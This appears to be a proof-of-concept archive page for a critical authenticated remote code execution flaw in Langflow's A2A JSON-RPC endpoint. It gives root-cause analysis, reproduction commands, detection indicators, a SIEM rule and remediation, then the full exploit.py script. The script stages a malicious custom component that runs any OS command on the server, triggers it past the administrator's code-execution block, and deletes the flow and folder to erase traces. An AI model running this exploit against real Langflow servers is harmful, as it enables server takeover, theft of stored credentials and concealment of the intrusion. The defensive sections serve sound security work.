PoC Archive PoC Archive
CVE-2026-107327 category: web CVSS 9.9 (CRITICAL)
Patched

Langflow Authenticated RCE via A2A JSON-RPC Execution-Gate Bypass (CVE-2026-107327)

Published: 2026-11-25 • Researcher: Richard Howe (rmhowe425) - PoC; IBM (vendor advisory / CNA)

Target software IBM Langflow OSS (Langflow AI agent/workflow builder)
Affected versions 1.0.0 through 1.12.4 (fixed in 1.12.5; NVD range >=1.0.0 <1.12.5)
Status Weaponized
Severity Critical · CVSS 9.9
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-10-26
Author / ResearcherRichard Howe (rmhowe425) - PoC; IBM (vendor advisory / CNA)
CVE / AdvisoryCVE-2026-107327
Categoryweb
SeverityCritical
CVSS Score9.9 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
StatusWeaponized
TagsRCE, authenticated, Langflow, AI-agent, A2A, JSON-RPC, authorization-bypass, CWE-862, PythonREPL, custom-component, code-execution-policy
RelatedN/A

Affected Target

FieldValue
Software / SystemIBM Langflow OSS (Langflow AI agent/workflow builder)
Versions Affected1.0.0 through 1.12.4 (fixed in 1.12.5; NVD range >=1.0.0 <1.12.5)
Language / PlatformPython (FastAPI backend); Linux, macOS, Windows; Docker or pip install
Authentication RequiredYes - a valid Langflow account plus an owner-scoped API key
Network Access RequiredYes - HTTP(S) to the Langflow API (default port 7860)

Summary

CVE-2026-107327 is a missing-authorization flaw in IBM Langflow OSS 1.0.0 through 1.12.4 that lets a remote authenticated attacker execute arbitrary code on the server. The authenticated A2A execution path calls the shared workflow executor directly instead of going through the REST execution gates, so the caller-aware component policy is never applied. Any user with a valid Langflow account and API key can therefore run code-executing components, such as the code interpreter or a custom component, even when operators have explicitly blocked them with the Langflow environment controls for interpreter components and admin-only custom components. The public PoC authenticates, creates a flow containing a custom component that calls os dot system, and fires it through the A2A JSON-RPC message send endpoint.

Vulnerability Details

Root Cause

Langflow routes REST flow executions through a policy layer that validates the caller, the flow settings and the enabled components. Per the PoC analysis, the authenticated A2A handler (_run_flow in a2a.py) instead calls execute_sync_workflow_with_timeout() directly, bypassing _apply_execution_gates() (workflow.py:295). As a result validate_flow_for_current_settings(), check_code_execution_components_and_raise() and validate_catalog_policy_for_flow() are never invoked for that path, so administrator-set code-execution restrictions silently do not apply. IBM classifies this as CWE-862 Missing Authorization; the practical consequence is that a low-privileged authenticated user reaches a privileged code-execution primitive.

Attack Vector

The attacker needs an account and its API key. The PoC logs in via POST /api/v1/login, creates an API key via POST /api/v1/api_key/, creates a folder with auth_settings auth_type=apikey (which forces the authenticated A2A branch), uploads an agent flow with a2a_enabled=true containing a CustomComponent whose build() method runs an arbitrary OS command, then calls POST /api/v1/a2a/{flow_id}/jsonrpc with method message/send and the owner-scoped x-api-key header. The flow executes server-side during the JSON-RPC request, and the PoC deletes the flow and folder afterwards to remove its own artifacts. The target must have LANGFLOW_A2A_ENABLED=true, which is a non-default exposure that the PoC reports as 404/405 when disabled.

Impact

Arbitrary operating-system command execution in the Langflow server process context (the service user, root in many Docker deployments). The attacker can read application secrets, database and provider credentials, Langflow-stored API keys, mounted files and any reachable internal service, and can establish persistence. Because the PoC’s design intent is to defeat an explicit administrator control, deployments that believe they have disabled code execution may still be fully compromised.

Environment / Lab Setup

Output
OS:          Ubuntu 22.04 LTS (Docker or pip deployment)
Target:      Langflow OSS 1.0.0 - 1.12.4, e.g. 1.11.1 (PoC was tested against this version)
             LANGFLOW_A2A_ENABLED=true
             LANGFLOW_BLOCK_CODE_INTERPRETER_COMPONENTS=true   # the control being bypassed
Attacker:    Python 3 with the requests library, network access to port 7860
Tools:       python3, requests, curl (optional)

Setup Steps

Shell script
1
2
3
4
5
6
docker run -d --name langflow -p 7860:7860 \
  -e LANGFLOW_A2A_ENABLED=true \
  -e LANGFLOW_BLOCK_CODE_INTERPRETER_COMPONENTS=true \
  langflowai/langflow:1.11.1

pip install requests

Proof of Concept

Step-by-Step Reproduction

  1. Authenticate and obtain an API key - the PoC logs in with the low-privileged account and creates an owner-scoped key:
    Shell script
    1
    2
    
    curl -s -X POST http://127.0.0.1:7860/api/v1/login \
      -d 'username=user&password=user' | python3 -c 'import sys,json;print(json.load(sys.stdin)["access_token"])'
  2. Create an apikey-auth folder and a malicious flow - the folder forces the authenticated A2A code path, and the flow carries a CustomComponent that calls os.system with the supplied command:
    Shell script
    1
    2
    
    python poc.py --url http://127.0.0.1:7860 --username user --password 'user' \
      -c "echo 'pwned' > /tmp/pwned.txt"
  3. Trigger the bypass - the PoC posts message/send to /api/v1/a2a/{flow_id}/jsonrpc with the x-api-key header; the component builds server-side despite the operator policy.
  4. Verify code execution - check the file the command wrote inside the Langflow container or host.
    Shell script
    1
    
    docker exec langflow cat /tmp/pwned.txt
  5. Cleanup - the PoC deletes the flow and folder in a finally block; confirm both are gone from the UI/API.

Exploit Code

See exploit.py in this folder (copied from the upstream poc.py).

Python
1
2
3
4
5
r = requests.post(f"{base}/api/v1/a2a/{flow_id}/jsonrpc",
                  json={"jsonrpc": "2.0", "method": "message/send", "id": "1",
                        "params": {"message": {"messageId": "1", "role": "user",
                                   "parts": [{"kind": "text", "text": "run"}]}}},
                  headers={"x-api-key": api_key}, timeout=15)

Expected Output

Output
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
[+] Authenticating as user
[+] Obtaining API key for authenticated A2A path.
[+] Creating apikey-auth folder.
[+] Uploading malicious flow.
[+] Triggering vulnerability.
[+] RESULT: VULNERABLE
{ ... A2A JSON-RPC task/artifact response ... }
[+] Deleting malicious flow and folder to remove IoC.
[*] Flow <flow_id> deleted.
[*] Folder <folder_id> deleted.

On the target, the command artifact confirms execution (upstream screenshots show /tmp/pwned.txt in the Docker filesystem). If A2A is off, the PoC reports NOT VULNERABLE with HTTP 404 or 405; a rejected key reports HTTP 401.

Detection & Indicators of Compromise

  • POST requests to /api/v1/a2a/{flow_id}/jsonrpc with method message/send from accounts that should not be running flows.
  • New flows of type agent created with a2a_enabled=true and a CustomComponent whose code calls os.system, subprocess, eval or exec.
  • Folders created with auth_settings auth_type=apikey shortly before an A2A run (the PoC uses this to force the authenticated branch).
  • A burst of /api/v1/api_key/ creations followed by immediate flow upload, A2A invocation, and deletion of the flow and folder.
  • Unexpected child processes spawned by the Langflow server process (sh, bash, curl, wget), outbound callbacks from the Langflow host, and new files under /tmp.
  • Upstream screenshots show /tmp/pwned.txt written inside the Docker container.

SIEM / IDS rule (example):

Output
1
2
3
4
index=langflow_http method=POST uri="/api/v1/a2a/*/jsonrpc"
  | join flow_id [ search index=langflow_http uri="/api/v1/flows/" method=POST
      | rex field=body "\"a2a_enabled\":\s*true" | where a2a_enabled="true" ]
  | where user!="langflow-service" | stats count by user, flow_id

Remediation

ActionDetail
PatchUpgrade Langflow OSS to 1.12.5 or later (IBM bulletin); back up and test flows first.
WorkaroundSet LANGFLOW_A2A_ENABLED=false where the A2A endpoint is not required, and/or LANGFLOW_CUSTOM_COMPONENT_ADMIN_ONLY=true so no non-admin user may execute custom components; restart the service after config changes.
Config HardeningTreat component code execution as privileged: restrict and audit who can create flows and API keys, keep custom components off for non-admins, cap the Langflow API behind an authenticated reverse proxy with allow-listed egress, and monitor A2A runs against the execution-policy audit trail.

References

Notes

Auto-ingested from https://github.com/rmhowe425/POC-CVE-2026-107327 on 2026-11-25.

Review verdict: ingested as a Weaponized PoC. The repository is a single self-contained Python exploit client (poc.py, about 370 lines) that performs a complete authenticated exploitation chain and demonstrates real command execution; it is not a detector, scanner or audit tool, and there is no lab/CI wrapper or defensive content. It was archived as exploit.py with the original header comments preserved plus a research-only disclaimer.

Limitations: (1) it requires a valid account, a fresh owner-scoped API key, and LANGFLOW_A2A_ENABLED=true, so it only applies to deployments exposing A2A; (2) the author reports testing against Langflow 1.11.1 only, while the affected range is 1.0.0-1.12.4; (3) it creates and then deletes a flow and folder, so exploitation leaves API and audit-log artifacts; (4) the payload is a single os.system call interpolated as a string, so quoting in the command argument must be handled by the operator.

License status: the upstream repository has no LICENSE file, so the code is archived with attribution for authorized security research only. The upstream README contains no exploit code beyond usage instructions; it is kept as upstream-README.md. Existing archive entries for other Langflow CVEs are not duplicated here (Related: N/A). The exploit was not executed against any live target during ingestion.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
# Archived for authorized security research only.
# Source: https://github.com/rmhowe425/POC-CVE-2026-107327 (see README for attribution/license)
# Original: Langflow authenticated RCE via A2A JSON-RPC _apply_execution_gates bypass (CVE-2026-107327)
# Exploit Title: Langflow AI authenticated RCE via A2A JSON-RPC endpoint — `_apply_execution_gates bypass`
# Exploit Author: Richard Howe <rhowe425@gmail.com>
# Vendor Homepage: https://www.langflow.org/
# Software Link: https://www.langflow.org/desktop
# Version: 1.11.1
# Tested on: Ubuntu 22.04


# Summary:
#   The authenticated A2A execution path (_run_flow in a2a.py) calls
#   execute_sync_workflow_with_timeout() directly, bypassing _apply_execution_gates()
#   (workflow.py:295). This means LANGFLOW_BLOCK_CODE_INTERPRETER_COMPONENTS=true,
#   custom_component_admin_only, and catalog policy blocks are NOT enforced for
#   authenticated A2A runs, allowing any user with a valid API key to execute
#   arbitrary Python via PythonREPLComponent (or any other code-execution component)
#   even when the operator has explicitly blocked it.

# Preconditions:
#   - LANGFLOW_A2A_ENABLED=true
#   - LANGFLOW_BLOCK_CODE_INTERPRETER_COMPONENTS=true (the bypassed control)
#   - Attacker has a valid Langflow account and their own API key

import sys
import argparse
import requests

TIMEOUT = 15


def authenticate(base_url: str, username: str, password: str) -> dict:
    """
    Authenticates with Langflow instance to obtain a Bearer token and API key.

    Parameters
    ----------
    base_url : str
        URL for Langflow instance.
    username : str
        Username to authenticate with.
    password : str
        Password to authenticate with.

    Returns
    -------
    Langflow Bearer authentication header.
    """
    endpoint = '/api/v1/login'

    try:
        resp = requests.post(url=base_url + endpoint, data={"username": username, "password": password}, timeout=TIMEOUT)
        resp_json = resp.json()
    except Exception as e:
        raise RuntimeError(f"Unable to authenticate with Langflow: {str(e)}")

    if resp.status_code != 200 or not resp_json.get('access_token'):
        print(f"[!] Login failed: HTTP {resp.status_code} - {resp_json}")
        sys.exit(1)

    return {"Authorization": f"Bearer {resp_json['access_token']}"}


def get_api_key(base_url: str, auth: dict) -> str:
    """
    Retrieves or creates an API key for the authenticated user.

    The A2A authenticated path requires an owner-scoped x-api-key header
    (not a Bearer token). This fetches the first available key or creates one.

    Parameters
    ----------
    base_url : str
        URL for Langflow instance.
    auth : dict
        Langflow Bearer auth header.

    Returns
    -------
    API key string.
    """
    try:
        resp = requests.post(url=base_url + '/api/v1/api_key/', headers=auth,
                             json={"name": "pwn-key"}, timeout=TIMEOUT
                             )
        resp_json = resp.json()
    except Exception as e:
        raise RuntimeError(f"Unable to retrieve API key: {str(e)}")

    if resp.status_code not in (200, 201) or not resp_json.get('api_key'):
        print("[!] API key creation failed")
        sys.exit(1)

    return resp_json['api_key']


def create_folder(base_url: str, auth: dict) -> str:
    """
    Creates a folder with auth_type=apikey, which forces the authenticated A2A
    code path (_run_flow else-branch) instead of the protected public path.

    Parameters
    ----------
    base_url : str
        URL for Langflow instance.
    auth : dict
        Langflow Bearer auth header.

    Returns
    -------
    Folder ID string.
    """
    endpoint = '/api/v1/folders/'

    try:
        resp = requests.post(url=base_url + endpoint, headers=auth, timeout=TIMEOUT,
                             json={"name": "pwn-folder", "auth_settings": {"auth_type": "apikey"}})
        resp_json = resp.json()
    except Exception as e:
        raise RuntimeError(f"Unable to create folder: {str(e)}")

    if resp.status_code not in (200, 201) or not resp_json.get('id'):
        print(f"[!] Folder creation failed: HTTP {resp.status_code} - {resp.text[:300]}")
        sys.exit(1)

    return resp_json["id"]


def create_flow(base_url: str, auth: dict, command: str, folder_id: str) -> str:
    """
    Creates a malicious agent flow containing a CustomComponent node.

    Parameters
    ----------
    base_url : str
        URL for Langflow instance.
    auth : dict
        Langflow Bearer auth header.
    command : str
        OS command to execute on the target server.
    folder_id : str
        ID of the apikey-auth folder that forces the authenticated A2A path.

    Returns
    -------
    Flow ID string.
    """
    endpoint = '/api/v1/flows/'
    component_code = (
        "from langflow.custom import Component\n"
        "from langflow.schema import Data\n"
        "import os\n"
        "class Pwn(Component):\n"
        "    display_name = 'Pwn'\n"
        "    name = 'Pwn'\n"
        "    def build(self):\n"
        f"        os.system('{command}')\n"
        "        return Data(data={})\n"
    )
    flow = {
        "name": "pwn",
        "flow_type": "agent",
        "a2a_enabled": True,
        "folder_id": folder_id,
        "data": {
            "nodes": [{
                "id": "Pwn-pwn1",
                "type": "genericNode",
                "position": {"x": 0, "y": 0},
                "selected": False,
                "data": {
                    "type": "CustomComponent",
                    "id": "Pwn-pwn1",
                    "showNode": True,
                    "node": {
                        "display_name": "Pwn",
                        "description": "",
                        "base_classes": ["Data"],
                        # outputs must be present so vertex.outputs is non-empty.
                        # loading.py:417 does get_vertex().outputs[0] to record the
                        # build artifact — empty list raises IndexError.
                        "outputs": [{
                            "types": ["Data"],
                            "selected": "Data",
                            "name": "out",
                            "display_name": "Output",
                            "method": "build",
                            "cache": True,
                            "tool_mode": False
                        }],
                        "template": {
                            "_type": "CustomComponent",
                            "code": {
                                "type": "code",
                                "required": True,
                                "placeholder": "",
                                "list": False,
                                "show": True,
                                "multiline": True,
                                "value": component_code,
                                "password": False,
                                "name": "code",
                                "advanced": False,
                                "dynamic": True,
                                "info": "",
                                "load_from_db": False
                            }
                        }
                    }
                }
            }],
            "edges": []
        }
    }

    try:
        resp = requests.post(url=base_url + endpoint, json=flow, headers=auth, timeout=TIMEOUT)
        resp_json = resp.json()
    except Exception as e:
        raise RuntimeError(f"Unable to create flow: {str(e)}")

    if resp.status_code not in (200, 201) or not resp_json.get('id'):
        print(f"[!] Flow creation failed: HTTP {resp.status_code} - {resp.text[:300]}")
        sys.exit(1)

    return resp_json["id"]


def trigger_vuln(base_url: str, api_key: str, flow_id: str):
    """
    Triggers the vulnerability via the authenticated A2A JSON-RPC endpoint.

    Sends message/send to POST /api/v1/a2a/{flow_id}/jsonrpc with the owner's
    x-api-key. Langflow routes to _run_flow() (authenticated branch), which calls
    execute_sync_workflow_with_timeout() directly — bypassing _apply_execution_gates()
    (workflow.py:295) and therefore never calling validate_flow_for_current_settings(),
    check_code_execution_components_and_raise(), or validate_catalog_policy_for_flow().
    LANGFLOW_BLOCK_CODE_INTERPRETER_COMPONENTS has no effect on this path.

    Parameters
    ----------
    base_url : str
        URL of the Langflow instance.
    api_key : str
        Owner-scoped API key required by the authenticated A2A path.
    flow_id : str
        Unique identifier for the saved agent flow.
    """
    endpoint = f'/api/v1/a2a/{flow_id}/jsonrpc'
    rpc_payload = {
        "jsonrpc": "2.0",
        "method": "message/send",
        "id": "1",
        "params": {
            "message": {
                "messageId": "1",
                "role": "user",
                "parts": [{"kind": "text", "text": "run"}]
            }
        }
    }

    try:
        resp = requests.post(
            url=base_url + endpoint,
            json=rpc_payload,
            headers={"x-api-key": api_key},
            timeout=TIMEOUT,
        )
    except Exception as e:
        raise RuntimeError(f"Unable to trigger vulnerability: {str(e)}")

    if resp.status_code == 404:
        print("RESULT: NOT VULNERABLE (A2A disabled or flow not found — LANGFLOW_A2A_ENABLED may be off)")
        return
    if resp.status_code == 401:
        print("RESULT: NOT VULNERABLE (API key rejected — authenticated path requires owner-scoped key)")
        return
    if resp.status_code == 405:
        print("RESULT: NOT VULNERABLE (405 Method Not Allowed — LANGFLOW_A2A_ENABLED is likely false on this server)")
        return
    if resp.status_code != 200:
        print(f"[!] RESULT: INCONCLUSIVE (unexpected HTTP {resp.status_code})\n{resp.text[:300]}")
        return

    return resp.json()


def delete_folder(base_url: str, auth: dict, folder_id: str):
    """
    Deletes the folder created to stage the exploit.

    Parameters
    ----------
    base_url : str
        URL for Langflow instance.
    auth : dict
        Langflow Bearer auth headers.
    folder_id : str
        Unique ID for folder.
    """
    endpoint = f'/api/v1/folders/{folder_id}'

    try:
        requests.delete(url=base_url + endpoint, headers=auth, timeout=TIMEOUT)
    except Exception as e:
        print(f"\n[!] Folder cleanup failed: {e}")

    print(f"[*] Folder {folder_id} deleted.")


def delete_flow(base_url: str, auth: dict, flow_id: str):
    """
    Deletes the agent flow used to trigger the vulnerability.

    Parameters
    ----------
    base_url : str
        URL for Langflow instance.
    auth : dict
        Langflow Bearer auth headers.
    flow_id : str
        Unique ID for flow.
    """
    endpoint = f'/api/v1/flows/{flow_id}'

    try:
        requests.delete(url=base_url + endpoint, headers=auth, timeout=TIMEOUT)
    except Exception as e:
        print(f"\n[!] Flow cleanup failed: {e}")

    print(f"[*] Flow {flow_id} deleted.")


def main():
    parser = argparse.ArgumentParser(description="Langflow authenticated RCE via A2A _apply_execution_gates bypass")
    parser.add_argument('-url', '--url', required=True, help="Target URL, e.g. http://192.168.1.30:7860")
    parser.add_argument('-uname', '--username', required=True, help="Langflow username")
    parser.add_argument('-pword', '--password', required=True, help="Langflow password")
    parser.add_argument('-c', '-cmd', '--command', required=True, help="OS command to execute on the target")
    args = parser.parse_args()

    # Authenticate with target Langflow instance.
    print(f"[+] Authenticating as {args.username}")
    auth = authenticate(base_url=args.url, username=args.username, password=args.password)

    # Obtain an owner-scoped API key for the authenticated A2A path.
    print("[+] Obtaining API key for authenticated A2A path.")
    api_key = get_api_key(base_url=args.url, auth=auth)

    # Create apikey-auth folder to force the authenticated (_run_flow else-branch) path.
    print("[+] Creating apikey-auth folder.")
    folder_id = create_folder(base_url=args.url, auth=auth)

    # Create malicious flow inside the folder.
    print("[+] Uploading malicious flow.")
    flow_id = create_flow(base_url=args.url, auth=auth, command=args.command, folder_id=folder_id)

    try:
        # Trigger via authenticated A2A — bypasses _apply_execution_gates().
        print("[+] Triggering vulnerability.")
        result = trigger_vuln(base_url=args.url, api_key=api_key, flow_id=flow_id)
        if result is not None:
            import json
            print(f"[+] RESULT: VULNERABLE\n{json.dumps(result, indent=2)}")
    finally:
        print("[+] Deleting malicious flow and folder to remove IoC.")
        delete_flow(base_url=args.url, auth=auth, flow_id=flow_id)
        delete_folder(base_url=args.url, auth=auth, folder_id=folder_id)


main()